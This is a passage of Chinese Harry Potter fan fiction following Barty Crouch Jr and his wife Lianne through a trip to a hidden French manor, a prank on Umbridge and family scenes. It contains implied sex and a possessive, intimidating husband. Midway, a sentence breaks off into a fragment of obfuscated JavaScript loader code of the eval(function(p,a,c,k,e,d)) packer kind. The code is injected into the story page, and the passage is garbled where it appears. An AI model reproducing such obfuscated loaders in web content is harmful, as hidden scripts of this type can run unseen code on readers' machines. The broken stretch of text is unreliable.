“不是故意的,”小巴蒂坚决不肯承认昨晚折腾她是早有预谋,他狡猾的哄骗着单纯的莉安,脸上是一副伤心欲绝的表情,眼圈也变红了,看起来可怜巴巴的,“明明是你先挑衅我的,宝贝,我真的没想那么多,你怎么可以怀疑我呢?” 莉安半信半疑的看着他,虽然她记得昨晚的确是自己挑衅了他,但却是他先刺激她的… 小巴蒂怕她想通前后逻辑,然后把整件越狱的事怪在他头上,忙不迭在她脸上吻了吻,然后溜之大吉。 “等我回来,亲爱的。” 莉安摸着脸,看他迅速幻影移形消失了,不禁有些怔怔。 “我到底是不是又被他算计了…” 两个小精灵在她脚下打成一团。 “你主人又欺负我主人!” “胡说八道!这是爱!” 1996年1月16日,出发去巴黎的日子。 小巴蒂的审美真的很棒,他给莉安买了一件黑色的套头卫衣,下摆是紧身的,再下面是一条保暖的同色短裙,以及一双过膝靴,这身装扮看起来又酷又美,小巴蒂一直都很喜欢那双雪白的长腿,它们无数次夹着他的腰,缠在他后背上…他直勾勾的盯着短裙和靴子之间那截露出来的皮肤,莉安脸红了一瞬,然后把手放在他的下巴上。 “怎么了?”小巴蒂心不在焉的问,他的视线没有离开那双腿。 “兜着点,我怕你的口水流下来。”莉安一本正经的说。 “我希望那个宅子还有一个干净的房间。”小巴蒂一字一句的说,嘴唇几乎没有抖动。 “你真…”莉安小声嘟囔着,有心骂他两句,又怕晚上受罪,只好忍住了吐槽。 她一直都觉得小巴蒂那件长长的风衣外套也很狂放,搭配他的皮短靴,看起来帅气极了,于是夫妻两个挽着手的登上了火车,并排坐在车厢里,哐啷哐啷的朝伦敦驶去。 车厢里的人都在看他们,在麻瓜眼里,这对一身黑的俊男美女看起来好像要去参加摇滚音乐会一样。 但是什么摇滚音乐会在大早上呢? 他们到站了,准备转地铁去圣潘克拉斯车站,挤着下车时,莉安被小巴蒂牵着登上了自动扶梯,她还是有些不适应,即使修了麻瓜研究这门课并拿到了O,可是当她走进寒酸的、不起眼的地铁车站,发现里面已经挤满了早晨上班的乘客时,还是忍不住惊叹麻瓜的科技发展迅速,霍格沃茨的教材实在太老旧,到现在还只是研究发电机对于麻瓜生活的影响。 “不可思议,”她小声的说,指着自动售票机,“很神奇。” “已经坏了。”小巴蒂读着告示牌。 “是吗,真遗憾。”莉安望着那些售票机。 他们从一个睡眼惺忪的管理员手里买了地铁票——这笔交易是小巴蒂完成的,他有麻瓜的货币,五分钟后,他们登上了拥挤的地铁,莉安紧张的一遍遍核对窗户上面的地铁路线图。 “还有一站…” 他们一下车,就被无数衣冠楚楚、提着公文包的男男女女推挤着出了地铁站,他们上了自动扶梯,通过检票处,旋转栅门灵巧的吞下了他们车票,过了一会儿,他们来到了一条宽阔的街道上,圣潘克拉斯车站近在眼前。 它占地的形状呈一个南北向的长条形,常被称作“铁路大教堂”,因为它拥有两座维多利亚时代的著名建筑,这座车站的主车库是在1868年建造的,是当时最大的单跨建筑,车站的正面是圣潘克拉斯宫殿,是一座典型的维多利亚哥特式建筑。 车站里有一个供欧洲之星列车停靠的安全密封区域——欧洲之星的月台在巴洛式顶棚内,而其他列车的月台则位于车站南端,欧洲之星的月台并不需要占用顶棚的全部宽度,因此部分地板被拆掉,自然光可以进入下层的国际大厅——“拱廊”。 大厅位于车站的地下室,和顶棚的长度相同,在欧洲之星月台的西侧,这次莉安如愿以偿的用自动售票机买了票,等最近一班欧洲之星列车出现时,他们找到了自己的位置。 列车自圣潘克拉斯站出发,经英国南部的1号高速铁路,穿过英吉利海峡隧道,很快就到达了位于欧洲大陆的巴黎。 “巴黎真的好浪漫。”街上车水马龙,莉安看着道路两边的建筑物,这是巴洛克风格,拥有华丽的装饰和雕刻、强烈的色彩冲击,穿插着曲面和椭圆形的零件。 “巴黎的女人也很浪漫,但你总是硬邦邦、冷冰冰的,”小巴蒂漫不经心的说,“亲爱的,那不是你的本性,别再压抑自己,你就应该像她们一样热烈。” “你在嫌弃我吗?”莉安失落的看着他,她觉得自己对他的迷恋简直病入膏肓了,明明这个时候她应该暴打这个狗男人才对。 嫌弃她干嘛还要和她结婚?她对他只有身体上的吸引力吗?她觉得自己现在简直像一只容易受惊的小猫。 成年的、容易受惊的小猫。 “你现在就像一个遥远的外星人尝试过人类的身体后发现她不合适你那样。”她几乎是不情愿的说,踟蹰的悲伤拉紧了她的声音,相当于在无话可说的时候无助的耸耸肩。 “你不要想歪,这样的话,所有的信号都会误读,所有的系统都会崩溃,一切甚至会退回到我们开始那场谈话之前,”自从那天摊牌后,小巴蒂发现她越来越敏感了,连忙给她吃定心丸,“我的意思是,你有我了,你不再是那个无依无靠的孤儿小女孩,别总是那么要强,你偶尔可以休息一下,别让我可有可无,仿佛真的就是你借——” “别乱讲!我没有借!”莉安激动的反驳。 她比以往任何时候都更认真的看着他,她想提醒他,有些界限是不可逾越的,警告,路障,严肃的警示。 “好,你没有借,”小巴蒂看她又变得生动,满意极了,他把手插进口袋,握住了魔杖,“走吧,换你带我出发了。” 莉安意识到自己出牌出猛了,犯了一个可怕的错误,她不知道如何收场,只好用沉默回避,她挽住了他的手臂,心里默默的祈祷他不再计较这件蠢事。 两人匆匆拐入一条人烟稀少的小巷子,按照她记忆中勒洛伊庄园的位置,幻影移形了。 他们落在海岸悬崖北麓的埃兹小镇上,这里安静、祥和、舒适,街道并不宽,但是很干净,小巷子铺设着很有年代感的地砖,蒸汽小火车像童话中那样漂亮可爱,漂亮的木筋房遍布小镇,从小镇可以看见山腰上的几座小别墅,而建于1110年的勒洛伊庄园就隐藏在这里,女巫的传说给这里增添了些许神秘感。 来到山腰时,小巴蒂看着那一堆废墟般的乱石伸手在空气中划了几下,不禁有些兴奋,他感受到了魔法的存在——这是一个极为高深的魔法防护阵,他后退了几步,用魔杖指向石头,顿时,那里出现了一道拱门的轮廓,放射出耀眼的白光。 但很快,那道轮廓就不见了,石头还跟刚才一样凌乱,上面什么也没有,他试了几次都不能打破——比普威特祖宅的保护咒强大很多。 不愧是仅次于梅林的大魔法师——托宾的后代的居住及藏匿之地,这么强大的法阵应该不仅仅是保护自身的血脉,大概还有托宾本人留下来的宝物,就像霍格沃茨四巨头曾留下注入了他们魔法的随身物件那样。 莉安见他终于放弃了,她松了口气,就怕小巴蒂的疯劲儿上来,要在这里试到天黑,她的魔杖指向自己的手腕,一道银光闪过,喷出一股殷红,石头表面顿时洒满了闪亮的、暗红色的血珠。 小巴蒂的魔杖尖划过莉安手腕上那道深深的伤口,伤口立刻就愈合了,他有些懊恼,毕竟他不死心的试了好几次就是不想她放血,现在他更想研究这个家族的古代魔法了。 石头上又一次出现了那道耀眼的拱门轮廓,这次它没有隐去,拱门里那些洒满鲜血的岩石突然消失了,露出一座高大的建筑物。 这是一座红瓦白桩的法式庄园,两人来到大门口时,埃及米黄色的立面石材,塔斯干柱和宝瓶栏杆的五层建筑映入眼帘,廊柱上的雕花和线条带出一股优雅而浓郁的慵懒情调,再慢热的人也会被这里随处可见的浪漫精神唤醒并点燃。 莉安把目光投向庭院的花园,大概是多年无人居住的原因,花园中的植物大多已经枯萎,化作灰尘飘散,只有疯长的野草和零碎几颗冷杉仍旧郁郁葱葱,给阴冷绵延的冬日带来一丝绿意。 “走吧,亲爱的,”莉安说,“你不是对勒洛伊很有兴趣吗?也许会发现什么呢。” 十分钟后,两人捂着口鼻来到了客厅,这是二楼的一个长长的、天花板很高的房间,褪色的墙壁上挂着肮脏的挂毯,当他们把脚踩在地毯上时,立刻扬起了一小股灰尘,长长的、暗红色的天鹅绒窗帘嗡嗡作响,好像里面飞着许多看不见的蜜蜂。 “把脸蒙住,”小巴蒂从口袋里掏出来一瓶带喷嘴的黑色黑色液体对着窗帘狂喷,“这是狐猸子,我已经猜到了,没人住的房子肯定害虫泛滥成灾。” 莉安很听话的把卫衣的帽子戴上,看着一群成年的狐猸子从窗帘的褶皱里飞了出来,甲虫般亮晶晶的翅膀嗡嗡扇动着,尖针般的小牙齿露在外面,小巧玲珑的身体上布满浓密的黑毛,四只小拳头愤怒的攥得紧紧的——小巴蒂把它们喷了个正着。 不多时,它们僵在半空中不动了,然后掉在下面满是虫眼的地毯上,铛的一声,响得出奇。 “这东西别扔掉,”莉安嫌弃的看着它们,“弗雷德说他和乔治要做实验,好像叫什么速效逃课糖。” 小巴蒂教过韦斯莱双子,对他们没什么恶感,只觉得这两个大舅子还挺好玩的,虽然成绩不咋地,但不是笨蛋,他们的黑魔法防御术很过关。 他忙忙碌碌了半个小时,终于收拾出了一小块干净的区域,莉安刚想坐下时,就听到楼梯尽头传来一阵缓慢的脚步声。 “是什么渣滓竟敢闯进我主人的家宅?”一个嘶哑的声音愤怒的问。 一个家养小精灵侧身闪了进来,除了腰上围了一条脏兮兮的破抹布,像非洲国家男子用来遮体的腰布,他全身几乎□□。 他的模样很老了,皮肤耷拉着,虽然他的脑袋像所有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你去把房子打扫一下,我们今晚会在这里过夜。”小巴蒂冷静的对躺在地上哭泣的小精灵下了命令。 好几分钟后,伊夫才打着嗝安静下来,他撑着坐了起来,像小孩子似的用拳头揉着眼睛。 “你是小小姐的朋友…噢…这房子十几年没打扫过了,对不起,小小姐,伊夫现在就惩罚自己…” “我命令你不许这样!”莉安听到这句话,马上睁开眼睛,果然看到他试图把头往墙壁上撞。 “按他说的做,他是我的丈夫,”莉安看到小精灵吃惊又欣喜的号叫,再次瘫倒在地,平静了好一会儿,才说道,“我们有两个孩子,家里忙不过来,如果你愿意——” 小精灵听懂了她的话,一边捶地一边大哭,激动得膝盖发软,似乎站都站不起来了,当他终于能蹒跚着走路时,他分别向小巴蒂和莉安低低的鞠了一躬,行了一个礼,然后指引着他们七拐八拐,穿过好几道层层叠叠的楼梯和几乎发现不了的暗门,来到了隐藏在庄园最深处地下室。 “这儿有勒洛伊家族留下的遗物,”伊夫沙哑的说,“因为怕有其他巫师闯进宅子,所以伊夫把它们藏在了这里。” 莉安轻轻的点了点头,伊夫又鞠了一躬,然后打了个响指消失了,估计是去打扫房间了,她没在意这些小事,目光落在那些闪闪发光的东西上。 从地面到天花板塞满了一排排的玻璃架子,上面摆满了各种各样稀奇古怪的玩意儿:金币和金酒杯、闪着冷光的小巧匕首、珍贵的毛皮和蛇皮,长着脊刺或垂着翅膀的各种奇异动物标本,还有一大堆装在宝瓶里的魔药,颜色暗淡金银盒子——上面刻着比古代如尼文还要遥远的巫师语言,还有许多形状各异的蛋白石和各色宝石,鼻烟壶、音乐盒等等,甚至还有一个戴着王冠的头盖骨做的法杖。 小巴蒂走上前去,小心的路过了他们旁边的一套精致的银盔甲,他被一个好像闪烁血与火的光芒的东西吸引了—— “托宾的圣剑,Almace——赤诚之剑,据说能砍入钢铁一掌宽,但剑身毫发无伤,”小巴蒂从架子上小心翼翼的摘下了那把剑,“我一直以为是传说,但是这把剑的剑刃是永远闪光的红色,像血一样,所以也叫赤红之剑——跟十二圣骑士的圣剑传说完全吻合。” “但我们是法师啊,”莉安无奈的说,“我又不是个剑士,亲爱的,你是吗?” “也许咱们哪个孩子就是,”小巴蒂皱着眉,看起来忧心忡忡的样子,“他可能会是个格兰芬多的剑圣…我记得戈德里克·格兰芬多的遗物就是妖精打造的格兰芬多宝剑,可怕…近战法师…如果我有近战天赋,就不会被昏迷咒击中了…” 兰斯·普威特:若是不想用魔杖,其实我也粗通一些拳脚… “别想那么多了,”莉安拿起一本古老的魔法手札,翻了翻那些松脆的快要脱落的纸页,“这好像是古代魔法!” 小巴蒂马上把剑丢开了,回到她身边一起看手札,他对各种实用的战斗魔法十分感兴趣。 “咱们研究一下吧,看起来已经有一位中世纪的祖先翻译过了,这是古代如尼文,”莉安也比较兴奋,“据说巫师在一代一代变弱,我猜不仅仅是因为巫师的血脉被稀释,更是因为很多强大的法术已经失传了。” 小巴蒂点点头,他的注意力完全被吸引了。 小巴蒂:……我就爱吃软饭! 两人差点迷路,回到一楼时,天都黑了,而原本脏乱的房子里几乎认不出来了,他们进了厨房,所有东西的表面都焕然一新:铜锅和铜盘擦出了玫瑰色光泽,木头桌面也擦得发亮,晚餐的杯碟已经摆好,在炉火辉映下闪闪发光,欢乐的火苗上炖着一口大锅。 伊夫裹着一条雪白的茶巾,耳朵里的毛像棉絮一般洁白蓬松,“莉安小姐,还有她的丈夫,请你们洗过手再用晚餐。” 他一边低沉沙哑的说着,一边抓住小巴蒂脱下来的风衣,疲惫的走到门口把它挂到墙上,旁边还挂着好多件新洗的袍子。 “不先吃饭吗?”莉安关心的看着丈夫,小巴蒂正在如痴如醉的研究手札。 “边吃边看。”小巴蒂的眼睛仍然没有离开那些纸页,时不时翻动一张。 伊夫端着大汤碗匆匆走到桌旁,把汤舀进洁净的小碗里,放在他们面前。 “谢谢,伊夫。”莉安礼貌的说,她开始用勺子喝汤,这份法式牛清汤完全符合她的口味。 莉安叉起一块西葫芦炒鲜虾放进嘴里,这道菜里加了香草,罗勒的香气十分柔和,还带有一些甜味,红红绿绿好看极了。 “啊——”莉安看小巴蒂顺从的张了嘴,把虾仁塞进他嘴里,“你说什么时候回去咱们就什么时候回去,然后你看看咱们带什么回去。” 小巴蒂点点头,继续张开嘴,莉安头痛的把香草青酱意面喂了进去,她感觉此刻的小巴蒂像个半岁的儿童,正在给她彩排——等儿子再大一点,她就要像现在这样给他们喂饭。 晚饭后,两人住进了一间干净的卧室,莉安跨过门槛,打量着四周,淡绿色的帐幔看起来富丽堂皇,银色和浅蓝色随处可见,覆盖着床、墙壁和窗户。 洗完澡后,莉安看着小巴蒂懒散的躺到床上,还拿着那本手札在看,她脱了松软的拖鞋,也上了床,还把自己的长腿搭在他身上,但小巴蒂只是轻轻抚摸了一下,就把它们搂在怀里,换了个姿势继续看。 莉安:……所以爱会消失对吗? 她气愤的抽回了腿,用浴袍把自己裹得严严实实,滚到大床的最里面,面向窗户,背对着他不再说话了。 这是她人生中第一次引诱或者假装没有引诱一个男人,她早已进入状态,但他却无动于衷,试图敷衍她。 但也许是她进入状态太早了,他的思绪还没有跟上,就像个跛足的孩子拖了走在他前面的人的后腿。 小巴蒂一直没有发现她的异常,直到天色黑的像墨水一样,他才关掉了吊灯,只留下了床头那盏老式提灯,让它柔和昏暗的光笼罩整间卧室。 他觉得妻子离自己有点远,刚想把她拖进自己怀里,莉安就啪地一下重重打掉了他的手。 “我要睡觉。”她冷冷的说。 “但是早上你答应我了——” “我答应什么了?”莉安冷不丁一脚把小巴蒂踹下了床,脚在他腹部不轻不重的踩着,“我没答应,你记错了。” 小巴蒂错愕的看着她,但是那只作乱的脚和长腿在他身上蹭来蹭去,雪白修长,他的喉结艰难的上下滑动着,咕咚一声吞了吞口水,他想把它们抓在手里,但莉安极快的躲过了他那只让她又爱又恨的奶牛猫爪子似的手。 她已经感觉到某个地方起了变化。 “我要睡了,你可以继续看手札,跟它过一辈子,”她挤出一个小酒窝,脸上带着一种残酷的胜利表情,柔声细语的说,“不许上来打扰我,今晚你睡地板。” 说完,她收回那条腿,钻进了被子里,翻身不再看他。 小巴蒂的眼神从错愕慢慢变得凶狠,他危险的眯了眯眼睛,慢条斯理的解开浴袍,把它扔在地上,然后猛扑了上去。 “我看你是又欠教训了!” 片刻的撕打声,然后是可疑的水声和撞击声。 “错了吗?” “我没错!” 那声音越来越大了。 “错了吗?” “没错…” 声音越来越快。 “错了吗?” “错了错了!” 22. 行星 “哈哈哈哈!”这天晚上,莉安举着一张信纸哈哈大笑,两个儿子在婴儿车里翻了个身,似乎想凑到母亲身边看看发生了什么,急得他们啊啊直叫。 “这是怎么了?”小巴蒂听到她的笑声,魔杖一点,两个儿子漂浮起来,这下他们更兴奋了,在空中手舞足蹈着,迫不及待的想往莉安的方向去。 “乔治的信,”莉安笑得脸都红了,她清了清嗓子,尽量用平静的声音说,“还记得我们之前从庄园带回来的狐媚子尸体吗?我前几天突然想起来,就给他们寄到学校去了,然后…” “然后哈哈哈哈哈…然后…哈哈哈费尔奇…还有那个乌姆里奇…啊哈哈哈哈笑死我了…” 小巴蒂看她笑得前仰后合,什么也说不出来,只好拿过那张羊皮纸仔细的看,片刻后,他放肆的大笑盖过了莉安的笑声,惊飞了门口的猫头鹰。 原来乔治在信上说,根据乌姆里奇的新规定,学生们任何来往霍格沃茨包裹都要经过她提前检查,通过审查程序后才会返还给学生,并在上面横贴着一张用红墨水潦草写下的条子,内容是:已通过霍格沃茨高级调查官的审查。 他们都能想象到管理员费尔奇拦截了那个包裹时,一定呼哧呼哧的跑着交给了乌姆里奇,他那塌陷的、脉络纵横的面颊一定激动得紫红,下巴上的垂肉也抖个不停,乌姆里奇一定兴奋的看着包裹,那上面还带着防护咒语,也许他们猜测这是有关于哈利或者邓布利多的情报,或者是暗搓搓诋毁福吉的东西——他们以为抓住了凤凰社的小辫子,当他们得意洋洋的打开包裹时,却发现里面是密密麻麻的狐媚子的尸体… 费尔奇那皮肉松弛的面颊肯定气得直抖,而乌姆里奇估计会发出一声响彻城堡的尖叫,然后狐媚子的尸体洒落整间办公室,当然乌姆里奇的头发和脸上也不能幸免——这是小巴蒂的恶趣味,之前韦斯莱双子特意提醒过,给他们寄东西一定要用恶作剧的方式保护包裹。 兰斯和洛特不愧是小巴蒂的儿子,即使他们摸不着头脑,但仍然像他们父亲那样咯咯的傻笑出声。 笑够了,莉安擦了擦笑出来的眼泪,不无担心的说,“这下怎么办呢?乌姆里奇那个女人是福吉的走狗,听说她在霍格沃茨作威作福,还把邓布利多赶走了,乔治和弗雷德不会被开除吧?” “不用担心他们两个,”小巴蒂懒洋洋的坐在沙发上,抬起双腿蹬着茶几,两个儿子轻飘飘的落在他腿上,“我这几天出去发现对角巷的93号店铺卖出去了,据说只有特定的周末才会装修——学生去霍格莫德的周末,我在破釜酒吧听小道消息那里会新开一家笑话商店,如无意外这就是他们两个的店铺了。” “可是经商…” “难道你打算让他们去魔法部?”小巴蒂一边夸张的蒙眼又松手,逗弄两个儿子,一边漫不经心的说,“他们两个加起来只有三张证书,如果不另寻出路,难道要去做酒保?还是去骑士公交上售票?有本事的人可不局限于书本。” “好吧,你说服我了,”莉安的眉头舒展了,但她又有点疑惑,“这两个家伙哪来的钱呢?对角巷的店铺可不便宜。” “说来说去还是跟你有关,”小巴蒂把羊皮纸翻过了看了看说,“他们跟你坦白了,是三强争霸赛的奖金,一千个金加隆,我想如果不是我控制了你,你肯定比波特快,波特觉得自己不该拿这笔钱,所以资助了他们开笑话商店,再加上他们自己也卖了许多道具,手里有存款,所以这家店应该很快就开起来了,他们两个让你保守秘密——关于波特给他们钱这件事,因为你姑妈肯定不会同意。” “那倒也是个好事,哈利做的很好,”莉安的表情更柔和了,“如果我拿到奖金,我也想这么做,毕竟我们也不缺钱,只是亲爱的,我每次提出想帮帮姑妈时,她都会生气,久而久之我都不敢提这件事了,只好给他们准备礼物的时候多用心,比如送他们好一点儿的扫帚…” “是啊,贫穷却有爱的韦斯莱家族…”小巴蒂喃喃的说,“亲爱的,有时候我都在想,如果我出生在一个这样的家庭——” “那你仍然是个好孩子,现在肯定是个经验丰富的傲罗,没准儿都是傲罗头子了,”莉安情不自禁的陷入了幻想,“你那么优秀,亚瑟和莫丽肯定天天把你的事迹挂在嘴边,逢人就不经意的炫耀,还要拿你去教育所有的弟妹,每次你回到家时,所有人都尊重你,对你很亲热——” 两个兴奋的儿子突然嗖嗖从莉安头顶划过,飞回了婴儿车里,小巴蒂捏住了她那两片鲜红的唇,用十分疑惑但暗藏着一丝危险的语气说,“我怎么越听越觉得你说的不是我呢?让我想想你说的是谁…” 莉安猛地打了个哆嗦,不敢说话了,小巴蒂意味不明的目光让她恐惧。 “啊…好像是某个红毛,我想起来了,”小巴蒂好整以暇的看着她,目光戏谑,“当初某人明知道我在楼上,还要跟他——” “别说了…别说了…”莉安讷讷的望着他,嘴唇抖动着,小声恳求道,“都过去了…” 小巴蒂仍然没有松手,紧紧的捏着她的下颌。 “我给你生了两个孩子…”莉安快哭出来了,继续恳求道,“我真的没有想他,而是你就是这么优秀…” 小巴蒂发出一声嗤笑,莉安心一横,拨开他的手,搂着他的脖子,吻了他的唇。 “别吃醋…亲爱的…我心里只有你,对梅林、对上帝发誓,跟你在一起就像住在天堂里。” “那你知道放弃住在天堂的人会怎样吗?想知道其他的选择吗?”小巴蒂的双手放在她的腰上,语调平静,“在那里你可以轻而易举的被钎子串起来,烤个外酥里嫩,你知道的,那里是地狱,可是你撅嘴了啊,为什么?” “为什么?因为我在这边,而他在那边。”莉安凝视着他的眼睛。 在百万、万亿、数不清的永恒之中,她愿意和他共度一生,而她的人生是那么微不足道,在无涯的时间荒原之中,这是完全可以忽略不计的一个小小斑点。 她只想回到十几年前他们待在房子里的时刻,在那个打着雷的冷雨夜,他抱着她,把她紧紧的按在他身上,雷声仿佛永无休止,雨却渐渐停了,她想留下他,她希望他陪着自己,却抵挡不住困意的入侵,等她醒来后,她又是孤单一人了。 在得知他入狱后,她唯一想要的不过是一个机会,她想告诉他,他们之间发生的事,对她来说究竟意味着什么,即使它只持续了短暂的几个小时,那也值得无尽的等待,甚至是从人类开始进化之前,到他们化为尘埃,再到尘埃也消失之后,直到一千万亿年之后的那一天,在某个遥远星座的某个星球上,有个小巴蒂和莉安重新开始,她会把最真挚的祝福送给他们,但是现在,善良的梅林啊,她唯一的要求就是和这个人在一起,再多一些时间。 “多给我一些时间…多陪陪我,不要走。”她靠在他肩上,喃喃的说, “但是你没发现吗?”小巴蒂问。 “没发现什么?” “你没发现你已经拥有了很多时间吗?自从我们重逢,我给你还不止是一些时间,而是整整一辈子,你究竟知不知道,为了让你面对自己的内心,也面对我,制服你这个嘴硬的女人,冒着很可能会失败被送回阿兹卡班的风险,我有多不容易?而且还是用两个身份?”停顿了片刻,小巴蒂又说,“再说了,你恐怕不止是想要一些时间吧?要是我给你一个小时,你就会想要一天,如果我给了你一天,你就会想要一年,你现在就像当年那个明明很想要我陪着却假装冷淡的小鬼一样,你又在对我耍心机,而我恰好很清楚你有多口是心非,所以我们结婚了,我们会合情、合理、且合法的,在一起一辈子。” 说完,小巴蒂拉开她的长袍,把她按倒在沙发上,深深凝视着她的双眼。 他从来都不是地球这颗行星的粉丝,也不重视所谓生命这种东西,但是,一想到他们俩拥抱着躺在这里,房子外面笼罩着夜晚的雨声以及划破夜空的闪电,还有轰隆隆的雷声,想到小时候的她在他怀里,而长大后的她在他身下,他们一起饮下草莓朗姆酒,此时此刻,他的整条脊柱都如过电般战栗。 莉安觉得,他的目光好像在说,如果爱从不存在于这个星球,那么此刻,爱诞生了,在这个他们初见的房子里,在他们第一次相伴的沙发上,面朝墙角那架婴儿车,欢迎他们的孩子看过来。 “所以你是什么时候注意到我的?” “我已经告诉过你了。” “那就再说一遍。” “我只是想烤个火,顺便想找地方避雨,再睡一觉,我记得普威特的房子就在附近,所以我打破了房子的保护咒,一开始是没有注意到你的,可是谁会把布娃娃放在楼梯扶手上呢?你这个古怪的小鬼肯定是知道打不过我,你想吓死我。” 顿了顿,他又问,“那你呢?” “我在窗口看到了你,但是我不认为你会想进我的房子,我不敢抱那样的希望,所以我走开了,吹灭了蜡烛,我想可能当我吹完所有的蜡烛时,你也不会发现我,只是一个雷雨夜过路人,我心想,如果你进来,我可能就想不停的和你说话。” “但你对我一无所知。” “我的确一无所知,但是你湿漉漉的走在街道上,是唯一路过的人,我想和你一起。” “这可是你说的。” “你走后,我浑身上下都是你的气味。”莉安朝他的脖子靠过去,舔了舔。 “你确实爱上了真正的我。” “不,那时候我不懂爱,但是我希望,你让我痛恨你的那一天千万不要到来,我希望你不要闯进了我的房子之后就杳无音信,当然,你的确很快送来了你的音讯,但却是以那种我最无法接受方式——入狱、死亡,最后你留给我的只有一张从报纸上剪下来的入狱照。” “那现在你跟我说说,你是什么时候觉得我们有可能的。” “是在我把你带回来之后的某一天,某一刻,”她继续说,“我发现你还活着,我很开心,我很期待,当你再次把我按在胸口上,不断的用你的手抚摸我的后背,身体蜷缩着,四肢纠缠我,我开始注意到你的脖子、你的脸颊、你的眼睛,我渴望你的一切,从胸骨一路往上。” 说到这里,她叹了口气,“你说要对我以身相许,我不敢当真,所以我无数次赶你去另一个房间,但你漫不经心向我求欢的样子总是在我脑海里徘徊,然后我就把那些思绪全都赶走了——有什么用呢?我心想,你不会留下来的,你是个坏人,可我忍不住去想如果你真的留下来,我一定会接受你,但很快的,你就离开了我,像我猜测的那样,你果然是无聊、孤独、憋得难受,才会想要和我玩一玩,你最终没有得逞,这让我松了口气,可你走了,我更难受了,直到那个下着雪的圣诞的夜晚,你强迫我面对你,你不再包容我,而是强势的对待我,我知道我逃不掉了,我没办法了,你这个无耻的无赖。” “那你现在想对我做什么呢?” “我希望我们永远如此,Me voici. ” “什么意思?” “我在这里,我一直被困在房子里,等着你。” 小巴蒂明白了,人生不应留下遗憾。 因为是个孤儿,一直接受离别,所以生命中有些东西,尤其是可能会属于她的东西,她总害怕它们来得轻松,去得也同样轻易,所以她一开始不敢相信他,她宁愿看着他的照片怀念死去的他,也不愿意接受活生生的他,这或许就是她的方式,把他刻在她的记忆之中,而死去的他永远不会离开她。 如果她能在她的灵魂上刻下他的名字,那她可能会立即这么做。 他不无惆怅的在想,从夺魂咒中挣脱时,他正处在放弃一切的时刻,或者说,过着接受死刑宣判之人的生活,满怀仇恨、对弑父的狂热和激情,他十分想念对他最好的主人,因为他畏畏缩缩得够久了,夺魂咒让他的人生就像冰冷又空旷的等候室,突然间,刑罚美妙的减轻了——他知道他在使用一些奇怪的词,但她肯定明白——他的人生突然通过了黑暗、寂静、泥泞、逼仄的小路,膨胀成一栋大宅子,面向开阔的原野,四周都是乡村美景,大大的房间开着大大的窗,当他打开那盏枝形吊灯或者星球熔岩灯,并知道光的美妙之后,整栋宅子再也没有了黑暗时刻,当温柔的风穿堂而过时,窗户不再发出咔嗒咔嗒的声响,也不会摇晃,更不会猛然关上。 此刻,他与全世界最在乎的他的人在一起,与他最在乎的三个人在一起。 他吻了吻怀中的身体。 他不想毁掉这一切。 1996年6月18日,陋居。 复活节假期后,莉安突然从小表妹金妮那里得到了一个令人震惊的消息——她的双子表弟在大闹霍格沃茨城堡之后英勇的退学了! emm…上次小巴蒂说他们两个加起来只有三张O.W.Ls证书,这次就更厉害了。 一张也没有了呢! “这两个家伙!”莫丽一边看着汤锅,一边气急败坏的喊道,“不许你给他们求情!以为我不知道吗,你之前总是替他们打掩护!” “可是都过去这么久了,”莉安无力的呻吟着,“你已经念叨整整一个月了,罗恩和金妮都快放假了呀!” “哼…他们还搬走了,去他们店铺上面那个小套房里住了,跟我说什么忙不过来,我倒要看看他们到底有多忙,”莫丽怒气冲冲的说,“也不知道他们什么时候攒了一大笔钱…” 莉安低头没有说话,摆弄着两个儿子,她总算发现了,像自己的兰斯最爱吵闹,而洛特就是附和一般的跟着哥哥叫两声,越来越有闪闪口中“小时候的巴蒂少爷”的影子了。 “哎呀,真可爱,他们都会坐了,”莫丽一脸稀罕的看着他们,“快半岁了吧,我记得他们是圣诞节出生的。” “是啊,还有一个星期。”莉安看到兰斯还在傻乐,嘴里不知道在啊啊的说什么,便轻轻托起小儿子洛特,一边抚摸他的后脑一边嘴里发出咯咯的声音逗他,洛特很给面子的拍拍手,对她笑了笑。 莉安的心简直柔软的一塌糊涂,对于这个长得像极了小巴蒂的儿子,她爱得要命。 “做母亲的可不能厚此薄彼,”莫丽语重心长的教导她,“我知道你更喜欢安静一点的洛特,毕竟兰斯的确有点吵,是个闲不住的性子,但是他像普威特,你爸爸小时候就这样,整天带着我们乱跑,还把费比安从窗户扔了下去…” “费比安叔叔没事吧?”莉安惊恐的问。 “没事,”莫丽轻描淡写的说,“他飞起来了,你祖父祖母激动得眼含泪花——这下没人怀疑他是哑炮了。” 说时迟,那时快,兰斯不经意挥了挥手,厨房的窗户外面飞进来一只肉嘟嘟的大虫子,正好掉在莫丽面前的大锅里,莉安浑身发毛,而莫丽发出了一声高八度的尖叫。 花园里那只刚把虫子从土里拔出来的小地精愤怒的在窗户下面喊道,“还给我!我的虫虫!” 莫丽用魔杖把那虫子顺着窗户扔了出去,烫得那地精哇哇直叫,锅子飞起来,对着垃圾桶一倒,然后落进水池里疯狂洗刷。 垃圾桶扭动着,发出了“呕”的一声,莫丽又用魔杖敲了敲它,垃圾桶才不情不愿的盖上了盖子。 “现在我觉得,”莫丽很慢很慢的转过身来,盯着开心得哈哈大笑的兰斯,脸上一副牙疼的表情,“你是有点儿道理的。” “不,我觉得他很可爱,”莉安坚决不承认自己偏心,“他多像弗雷德和乔治啊,对吧?” 莫丽:……谢谢你,更糟心了。 亚瑟回来时,刚喘了口气,伸手去拿茶壶,就发现了坐在椅子上的两个小宝贝,他特别喜欢孩子,于是熟练的一手一个,哄得他们两个眉开眼笑。 “哎呦,真可爱,我还是第一次见莉安的两个孩子,要不是他们已经半岁了,估计莉安还是不会带他们出门的,”亚瑟关心的说,“你那个丈夫呢?我记得他叫乔希是吧,现在他做什么工作呢?我听比尔说,他没有去古灵阁。” “噢,他只接了几个如尼文的翻译稿子,在家里工作,”莉安冷静的说,“他很喜欢孩子,所以大多数时候跟我一起待在家里。” “那你不打算做傲罗了吗?已经半年了,我看你身体恢复得不错——” “我不能做,”莉安叹了口气,“我倒是想做,可我当时被夺魂咒控制着,不仅攻击了麦格教授,还撅断了福吉的魔杖,他肯定不会让傲罗指挥部接收我的。” “但是斯克林杰人还不错,有穆迪的风范,看起来一板一眼的,”亚瑟迟疑的说,“他这个傲罗主任应该不会听福吉的吧。” 